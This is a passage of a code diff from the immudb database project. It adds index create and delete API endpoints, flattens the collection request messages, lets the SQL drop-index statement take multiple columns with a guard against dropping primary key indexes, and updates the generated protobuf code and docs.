SQLValueType { return BooleanType } @@ -4094,14 +4098,14 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return tx, nil } -func NewDropIndexStmt(table string, indexName string) *DropIndexStmt { - return &DropIndexStmt{table: table, indexName: indexName} -} - // DropIndexStmt represents a statement to delete a table. type DropIndexStmt struct { - table string - indexName string + table string + columns []string +} + +func NewDropIndexStmt(table string, columns []string) *DropIndexStmt { + return &DropIndexStmt{table: table, columns: columns} } func (stmt *DropIndexStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { @@ -4123,16 +4127,26 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return nil, err } - col, err := table.GetColumnByName(stmt.indexName) - if err != nil { - return nil, err + cols := make([]*Column, len(stmt.columns)) + + for i, colName := range stmt.columns { + col, err := table.GetColumnByName(colName) + if err != nil { + return nil, err + } + + cols[i] = col } - index, err := table.GetIndexByName(indexName(table.name, []*Column{col})) + index, err := table.GetIndexByName(indexName(table.name, cols)) if err != nil { return nil, err } + if index.IsPrimary() { + return nil, fmt.Errorf("%w: primary key index can NOT be deleted", ErrIllegalArguments) + } + // delete index indexKey := mapKey( tx.sqlPrefix(), diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 4f557d60e4..754e63b295 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -466,6 +466,70 @@ "documents" ] } + }, + "/indexes/create": { + "put": { + "operationId": "IndexCreate", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelIndexCreateResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/rpcStatus" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelIndexCreateRequest" + } + } + ], + "tags": [ + "indexes" + ] + } + }, + "/indexes/delete": { + "put": { + "operationId": "IndexDelete", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelIndexDeleteResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/rpcStatus" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelIndexDeleteRequest" + } + } + ], + "tags": [ + "indexes" + ] + } } }, "definitions": { @@ -536,8 +600,25 @@ "modelCollectionCreateRequest": { "type": "object", "properties": { - "collection": { - "$ref": "#/definitions/modelCollection" + "name": { + "type": "string" + }, + "idFieldName": { + "type": "string" + }, + "fields": { + "type": "array", + "items": { + "type": "object", + "$ref": "#/definitions/modelField" + } + }, + "indexes": { + "type": "array", + "items": { + "type": "object", + "$ref": "#/definitions/modelIndex" + } } } }, @@ -573,8 +654,11 @@ "modelCollectionUpdateRequest": { "type": "object", "properties": { - "collection": { - "$ref": "#/definitions/modelCollection" + "name": { + "type": "string" + }, + "idFieldName": { + "type": "string" } } }, @@ -855,6 +939,42 @@ } } }, + "modelIndexCreateRequest": { + "type": "object", + "properties": { + "collection": { + "type": "string" + }, + "indexes": { + "type": "array", + "items": { + "type": "object", + "$ref": "#/definitions/modelIndex" + } + } + } + }, + "modelIndexCreateResponse": { + "type": "object" + }, + "modelIndexDeleteRequest": { + "type": "object", + "properties": { + "collection": { + "type": "string" + }, + "indexes": { + "type": "array", + "items": { + "type": "object", + "$ref": "#/definitions/modelIndex" + } + } + } + }, + "modelIndexDeleteResponse": { + "type": "object" + }, "modelKeepAliveRequest": { "type": "object" }, diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index b37f1998a7..0401857cee 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -49,18 +49,14 @@ option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { }; message CollectionCreateRequest { - Collection collection = 1; -} - -message CollectionCreateResponse {} - -message Collection { string name = 1; string idFieldName = 2; repeated Field fields = 3; repeated Index indexes = 4; } +message CollectionCreateResponse {} + message Field { string name = 1; FieldType type = 2; @@ -87,6 +83,13 @@ message CollectionGetResponse { Collection collection = 1; } +message Collection { + string name = 1; + string idFieldName = 2; + repeated Field fields = 3; + repeated Index indexes = 4; +} + message CollectionListRequest {} message CollectionListResponse { @@ -100,11 +103,26 @@ message CollectionDeleteRequest { message CollectionDeleteResponse {} message CollectionUpdateRequest { - Collection collection = 1; + string name = 1; + string idFieldName = 2; } message CollectionUpdateResponse {} +message IndexCreateRequest { + string collection = 1; + repeated Index indexes = 2; +} + +message IndexCreateResponse {} + +message IndexDeleteRequest { + string collection = 1; + repeated Index indexes = 2; +} + +message IndexDeleteResponse {} + message DocumentInsertRequest { string collection = 1; google.protobuf.Struct document = 2; @@ -257,6 +275,26 @@ service DocumentService { }; } + rpc IndexCreate(IndexCreateRequest) returns (IndexCreateResponse) { + option (google.api.http) = { + put: "/indexes/create" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "indexes"; + }; + } + + rpc IndexDelete(IndexDeleteRequest) returns (IndexDeleteResponse) { + option (google.api.http) = { + put: "/indexes/delete" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "indexes"; + }; + } + rpc DocumentInsert(DocumentInsertRequest) returns (DocumentInsertResponse) { option (google.api.http) = { put: "/documents/insert" diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 223309cc64..ac5a397aac 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -41,6 +41,10 @@ - [Field](#immudb.model.Field) - [FieldComparison](#immudb.model.FieldComparison) - [Index](#immudb.model.Index) + - [IndexCreateRequest](#immudb.model.IndexCreateRequest) + - [IndexCreateResponse](#immudb.model.IndexCreateResponse) + - [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) + - [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) - [Query](#immudb.model.Query) - [QueryExpression](#immudb.model.QueryExpression) @@ -189,7 +193,10 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [Collection](#immudb.model.Collection) | | | +| name | [string](#string) | | | +| idFieldName | [string](#string) | | | +| fields | [Field](#immudb.model.Field) | repeated | | +| indexes | [Index](#immudb.model.Index) | repeated | | @@ -294,7 +301,8 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [Collection](#immudb.model.Collection) | | | +| name | [string](#string) | | | +| idFieldName | [string](#string) | | | @@ -582,6 +590,58 @@ + + +### IndexCreateRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| indexes | [Index](#immudb.model.Index) | repeated | | + + + + + + + + +### IndexCreateResponse + + + + + + + + + +### IndexDeleteRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| indexes | [Index](#immudb.model.Index) | repeated | | + + + + + + + + +### IndexDeleteResponse + + + + + + + ### Query @@ -662,6 +722,8 @@ | CollectionList | [CollectionListRequest](#immudb.model.CollectionListRequest) | [CollectionListResponse](#immudb.model.CollectionListResponse) | | | CollectionDelete | [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) | | | CollectionUpdate | [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) | | +| IndexCreate | [IndexCreateRequest](#immudb.model.IndexCreateRequest) | [IndexCreateResponse](#immudb.model.IndexCreateResponse) | | +| IndexDelete | [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) | [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) | | | DocumentInsert | [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) | | | DocumentInsertMany | [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) | | | DocumentUpdate | [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) | [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index c3ec50c9d0..75ff2a5ff0 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -160,7 +160,10 @@ type CollectionCreateRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection *Collection `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + IdFieldName string `protobuf:"bytes,2,opt,name=idFieldName,proto3" json:"idFieldName,omitempty"` + Fields []*Field `protobuf:"bytes,3,rep,name=fields,proto3" json:"fields,omitempty"` + Indexes []*Index `protobuf:"bytes,4,rep,name=indexes,proto3" json:"indexes,omitempty"` } func (x *CollectionCreateRequest) Reset() { @@ -195,9 +198,30 @@ func (*CollectionCreateRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{0} } -func (x *CollectionCreateRequest) GetCollection() *Collection { +func (x *CollectionCreateRequest) GetName() string { if x != nil { - return x.Collection + return x.Name + } + return "" +} + +func (x *CollectionCreateRequest) GetIdFieldName() string { + if x != nil { + return x.IdFieldName + } + return "" +} + +func (x *CollectionCreateRequest) GetFields() []*Field { + if x != nil { + return x.Fields + } + return nil +} + +func (x *CollectionCreateRequest) GetIndexes() []*Index { + if x != nil { + return x.Indexes } return nil } @@ -240,77 +264,6 @@ func (*CollectionCreateResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{1} } -type Collection struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - IdFieldName string `protobuf:"bytes,2,opt,name=idFieldName,proto3" json:"idFieldName,omitempty"` - Fields []*Field `protobuf:"bytes,3,rep,name=fields,proto3" json:"fields,omitempty"` - Indexes []*Index `protobuf:"bytes,4,rep,name=indexes,proto3" json:"indexes,omitempty"` -} - -func (x *Collection) Reset() { - *x = Collection{} - if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[2] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *Collection) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*Collection) ProtoMessage() {} - -func (x *Collection) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[2] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use Collection.ProtoReflect.Descriptor instead. -func (*Collection) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{2} -} - -func (x *Collection) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -func (x *Collection) GetIdFieldName() string { - if x != nil { - return x.IdFieldName - } - return "" -} - -func (x *Collection) GetFields() []*Field { - if x != nil { - return x.Fields - } - return nil -} - -func (x *Collection) GetIndexes() []*Index { - if x != nil { - return x.Indexes - } - return nil -} - type Field struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -323,7 +276,7 @@ type Field struct { func (x *Field) Reset() { *x = Field{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[3] + mi := &file_documents_proto_msgTypes[2] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -336,7 +289,7 @@ func (x *Field) String() string { func (*Field) ProtoMessage() {} func (x *Field) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[3] + mi := &file_documents_proto_msgTypes[2] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -349,7 +302,7 @@ func (x *Field) ProtoReflect() protoreflect.Message { // Deprecated: Use Field.ProtoReflect.Descriptor instead. func (*Field) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{3} + return file_documents_proto_rawDescGZIP(), []int{2} } func (x *Field) GetName() string { @@ -378,7 +331,7 @@ type Index struct { func (x *Index) Reset() { *x = Index{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[4] + mi := &file_documents_proto_msgTypes[3] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -391,7 +344,7 @@ func (x *Index) String() string { func (*Index) ProtoMessage() {} func (x *Index) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[4] + mi := &file_documents_proto_msgTypes[3] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -404,7 +357,7 @@ func (x *Index) ProtoReflect() protoreflect.Message { // Deprecated: Use Index.ProtoReflect.Descriptor instead. func (*Index) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{4} + return file_documents_proto_rawDescGZIP(), []int{3} } func (x *Index) GetFields() []string { @@ -432,7 +385,7 @@ type CollectionGetRequest struct { func (x *CollectionGetRequest) Reset() { *x = CollectionGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[5] + mi := &file_documents_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -445,7 +398,7 @@ func (x *CollectionGetRequest) String() string { func (*CollectionGetRequest) ProtoMessage() {} func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[5] + mi := &file_documents_proto_msgTypes[4] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -458,7 +411,7 @@ func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionGetRequest.ProtoReflect.Descriptor instead. func (*CollectionGetRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{5} + return file_documents_proto_rawDescGZIP(), []int{4} } func (x *CollectionGetRequest) GetName() string { @@ -479,7 +432,7 @@ type CollectionGetResponse struct { func (x *CollectionGetResponse) Reset() { *x = CollectionGetResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[6] + mi := &file_documents_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -492,7 +445,7 @@ func (x *CollectionGetResponse) String() string { func (*CollectionGetResponse) ProtoMessage() {} func (x *CollectionGetResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[6] + mi := &file_documents_proto_msgTypes[5] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -505,7 +458,7 @@ func (x *CollectionGetResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionGetResponse.ProtoReflect.Descriptor instead. func (*CollectionGetResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{6} + return file_documents_proto_rawDescGZIP(), []int{5} } func (x *CollectionGetResponse) GetCollection() *Collection { @@ -515,6 +468,77 @@ func (x *CollectionGetResponse) GetCollection() *Collection { return nil } +type Collection struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + IdFieldName string `protobuf:"bytes,2,opt,name=idFieldName,proto3" json:"idFieldName,omitempty"` + Fields []*Field `protobuf:"bytes,3,rep,name=fields,proto3" json:"fields,omitempty"` + Indexes []*Index `protobuf:"bytes,4,rep,name=indexes,proto3" json:"indexes,omitempty"` +} + +func (x *Collection) Reset() { + *x = Collection{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Collection) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Collection) ProtoMessage() {} + +func (x *Collection) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[6] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Collection.ProtoReflect.Descriptor instead. +func (*Collection) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{6} +} + +func (x *Collection) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Collection) GetIdFieldName() string { + if x != nil { + return x.IdFieldName + } + return "" +} + +func (x *Collection) GetFields() []*Field { + if x != nil { + return x.Fields + } + return nil +} + +func (x *Collection) GetIndexes() []*Index { + if x != nil { + return x.Indexes + } + return nil +} + type CollectionListRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -600,31 +624,210 @@ func (x *CollectionListResponse) GetCollections() []*Collection { return nil } -type CollectionDeleteRequest struct { +type CollectionDeleteRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` +} + +func (x *CollectionDeleteRequest) Reset() { + *x = CollectionDeleteRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[9] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionDeleteRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionDeleteRequest) ProtoMessage() {} + +func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[9] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. +func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{9} +} + +func (x *CollectionDeleteRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +type CollectionDeleteResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *CollectionDeleteResponse) Reset() { + *x = CollectionDeleteResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[10] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionDeleteResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionDeleteResponse) ProtoMessage() {} + +func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[10] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionDeleteResponse.ProtoReflect.Descriptor instead. +func (*CollectionDeleteResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{10} +} + +type CollectionUpdateRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + IdFieldName string `protobuf:"bytes,2,opt,name=idFieldName,proto3" json:"idFieldName,omitempty"` +} + +func (x *CollectionUpdateRequest) Reset() { + *x = CollectionUpdateRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[11] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionUpdateRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionUpdateRequest) ProtoMessage() {} + +func (x *CollectionUpdateRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[11] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionUpdateRequest.ProtoReflect.Descriptor instead. +func (*CollectionUpdateRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{11} +} + +func (x *CollectionUpdateRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *CollectionUpdateRequest) GetIdFieldName() string { + if x != nil { + return x.IdFieldName + } + return "" +} + +type CollectionUpdateResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *CollectionUpdateResponse) Reset() { + *x = CollectionUpdateResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[12] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CollectionUpdateResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CollectionUpdateResponse) ProtoMessage() {} + +func (x *CollectionUpdateResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[12] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CollectionUpdateResponse.ProtoReflect.Descriptor instead. +func (*CollectionUpdateResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{12} +} + +type IndexCreateRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Indexes []*Index `protobuf:"bytes,2,rep,name=indexes,proto3" json:"indexes,omitempty"` } -func (x *CollectionDeleteRequest) Reset() { - *x = CollectionDeleteRequest{} +func (x *IndexCreateRequest) Reset() { + *x = IndexCreateRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[9] + mi := &file_documents_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *CollectionDeleteRequest) String() string { +func (x *IndexCreateRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*CollectionDeleteRequest) ProtoMessage() {} +func (*IndexCreateRequest) ProtoMessage() {} -func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[9] +func (x *IndexCreateRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[13] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -635,41 +838,48 @@ func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. -func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{9} +// Deprecated: Use IndexCreateRequest.ProtoReflect.Descriptor instead. +func (*IndexCreateRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{13} } -func (x *CollectionDeleteRequest) GetName() string { +func (x *IndexCreateRequest) GetCollection() string { if x != nil { - return x.Name + return x.Collection } return "" } -type CollectionDeleteResponse struct { +func (x *IndexCreateRequest) GetIndexes() []*Index { + if x != nil { + return x.Indexes + } + return nil +} + +type IndexCreateResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } -func (x *CollectionDeleteResponse) Reset() { - *x = CollectionDeleteResponse{} +func (x *IndexCreateResponse) Reset() { + *x = IndexCreateResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[10] + mi := &file_documents_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *CollectionDeleteResponse) String() string { +func (x *IndexCreateResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*CollectionDeleteResponse) ProtoMessage() {} +func (*IndexCreateResponse) ProtoMessage() {} -func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[10] +func (x *IndexCreateResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[14] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -680,36 +890,37 @@ func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionDeleteResponse.ProtoReflect.Descriptor instead. -func (*CollectionDeleteResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{10} +// Deprecated: Use IndexCreateResponse.ProtoReflect.Descriptor instead. +func (*IndexCreateResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{14} } -type CollectionUpdateRequest struct { +type IndexDeleteRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection *Collection `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Indexes []*Index `protobuf:"bytes,2,rep,name=indexes,proto3" json:"indexes,omitempty"` } -func (x *CollectionUpdateRequest) Reset() { - *x = CollectionUpdateRequest{} +func (x *IndexDeleteRequest) Reset() { + *x = IndexDeleteRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[11] + mi := &file_documents_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *CollectionUpdateRequest) String() string { +func (x *IndexDeleteRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*CollectionUpdateRequest) ProtoMessage() {} +func (*IndexDeleteRequest) ProtoMessage() {} -func (x *CollectionUpdateRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[11] +func (x *IndexDeleteRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[15] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -720,41 +931,48 @@ func (x *CollectionUpdateRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionUpdateRequest.ProtoReflect.Descriptor instead. -func (*CollectionUpdateRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{11} +// Deprecated: Use IndexDeleteRequest.ProtoReflect.Descriptor instead. +func (*IndexDeleteRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{15} } -func (x *CollectionUpdateRequest) GetCollection() *Collection { +func (x *IndexDeleteRequest) GetCollection() string { if x != nil { return x.Collection } + return "" +} + +func (x *IndexDeleteRequest) GetIndexes() []*Index { + if x != nil { + return x.Indexes + } return nil } -type CollectionUpdateResponse struct { +type IndexDeleteResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } -func (x *CollectionUpdateResponse) Reset() { - *x = CollectionUpdateResponse{} +func (x *IndexDeleteResponse) Reset() { + *x = IndexDeleteResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[12] + mi := &file_documents_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *CollectionUpdateResponse) String() string { +func (x *IndexDeleteResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*CollectionUpdateResponse) ProtoMessage() {} +func (*IndexDeleteResponse) ProtoMessage() {} -func (x *CollectionUpdateResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[12] +func (x *IndexDeleteResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[16] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -765,9 +983,9 @@ func (x *CollectionUpdateResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use CollectionUpdateResponse.ProtoReflect.Descriptor instead. -func (*CollectionUpdateResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{12} +// Deprecated: Use IndexDeleteResponse.ProtoReflect.Descriptor instead. +func 